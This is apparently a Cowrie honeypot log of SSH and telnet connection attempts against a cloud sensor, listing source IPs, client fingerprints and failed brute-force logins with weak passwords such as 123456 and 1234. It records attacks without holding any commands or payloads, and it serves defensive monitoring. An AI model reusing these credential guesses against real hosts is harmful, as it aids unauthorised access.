{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:18.483890Z","src_ip":"37.143.61.84","session":"abce91828606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:18.785146Z","src_ip":"37.143.61.84","session":"abce91828606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"users","password":"123456","message":"login attempt [users/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:20.930382Z","src_ip":"37.143.61.84","session":"abce91828606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:22.699804Z","src_ip":"37.143.61.84","session":"abce91828606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60584,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3937e2cddf5","protocol":"ssh","message":"New connection: 159.203.92.129:60584 (159.203.135.109:22) [session: e3937e2cddf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:24.623219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:24.627639Z","src_ip":"159.203.92.129","session":"e3937e2cddf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:24.635269Z","src_ip":"159.203.92.129","session":"e3937e2cddf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"5","password":"5","message":"login attempt [5/5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:24.647045Z","src_ip":"159.203.92.129","session":"e3937e2cddf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:25.653846Z","src_ip":"159.203.92.129","session":"e3937e2cddf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.15.96","src_port":43969,"dst_ip":"159.203.135.109","dst_port":23,"session":"8068530e6e0c","protocol":"telnet","message":"New connection: 175.107.15.96:43969 (159.203.135.109:23) [session: 8068530e6e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:54.673791Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.192","src_port":52454,"dst_ip":"10.17.0.5","dst_port":22,"session":"c52075e4cf93","protocol":"ssh","message":"New connection: 2.57.122.192:52454 (10.17.0.5:22) [session: c52075e4cf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:07.029061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:07.034261Z","src_ip":"2.57.122.192","session":"c52075e4cf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:07.130560Z","src_ip":"2.57.122.192","session":"c52075e4cf93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:07.548962Z","src_ip":"2.57.122.192","session":"c52075e4cf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37212,"dst_ip":"159.203.135.109","dst_port":22,"session":"662823286787","protocol":"ssh","message":"New connection: 159.203.92.129:37212 (159.203.135.109:22) [session: 662823286787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:08.833795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:08.838662Z","src_ip":"159.203.92.129","session":"662823286787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:08.842926Z","src_ip":"159.203.92.129","session":"662823286787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"6","password":"123","message":"login attempt [6/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:08.859048Z","src_ip":"159.203.92.129","session":"662823286787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:09.867910Z","src_ip":"159.203.92.129","session":"662823286787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.25687575340271,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:38.930569Z","src_ip":"175.107.15.96","session":"8068530e6e0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47428,"dst_ip":"159.203.135.109","dst_port":22,"session":"25e2377afaea","protocol":"ssh","message":"New connection: 80.94.92.186:47428 (159.203.135.109:22) [session: 25e2377afaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:41.473110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:41.537342Z","src_ip":"80.94.92.186","session":"25e2377afaea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:41.613776Z","src_ip":"80.94.92.186","session":"25e2377afaea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:42.296265Z","src_ip":"80.94.92.186","session":"25e2377afaea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:43.530483Z","src_ip":"80.94.92.186","session":"25e2377afaea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37484,"dst_ip":"159.203.135.109","dst_port":22,"session":"56264f069fa3","protocol":"ssh","message":"New connection: 159.203.92.129:37484 (159.203.135.109:22) [session: 56264f069fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:52.714161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:52.718297Z","src_ip":"159.203.92.129","session":"56264f069fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:52.724932Z","src_ip":"159.203.92.129","session":"56264f069fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"6","password":"123456","message":"login attempt [6/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:52.734101Z","src_ip":"159.203.92.129","session":"56264f069fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:53.739871Z","src_ip":"159.203.92.129","session":"56264f069fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.227.232.181","src_port":58269,"dst_ip":"10.17.0.5","dst_port":23,"session":"970153748392","protocol":"telnet","message":"New connection: 115.227.232.181:58269 (10.17.0.5:23) [session: 970153748392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:03:58.813033Z"}
{"eventid":"cowrie.session.closed","duration":13.273236751556396,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:12.086163Z","src_ip":"115.227.232.181","session":"970153748392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40526,"dst_ip":"159.203.135.109","dst_port":22,"session":"1061994ce7e5","protocol":"ssh","message":"New connection: 159.203.92.129:40526 (159.203.135.109:22) [session: 1061994ce7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:35.953947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:35.959666Z","src_ip":"159.203.92.129","session":"1061994ce7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:35.965975Z","src_ip":"159.203.92.129","session":"1061994ce7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"6","password":"6","message":"login attempt [6/6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:35.983695Z","src_ip":"159.203.92.129","session":"1061994ce7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:36.999276Z","src_ip":"159.203.92.129","session":"1061994ce7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34476,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2b64f62de65","protocol":"ssh","message":"New connection: 37.143.61.84:34476 (159.203.135.109:22) [session: c2b64f62de65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:49.676874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:49.681470Z","src_ip":"37.143.61.84","session":"c2b64f62de65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group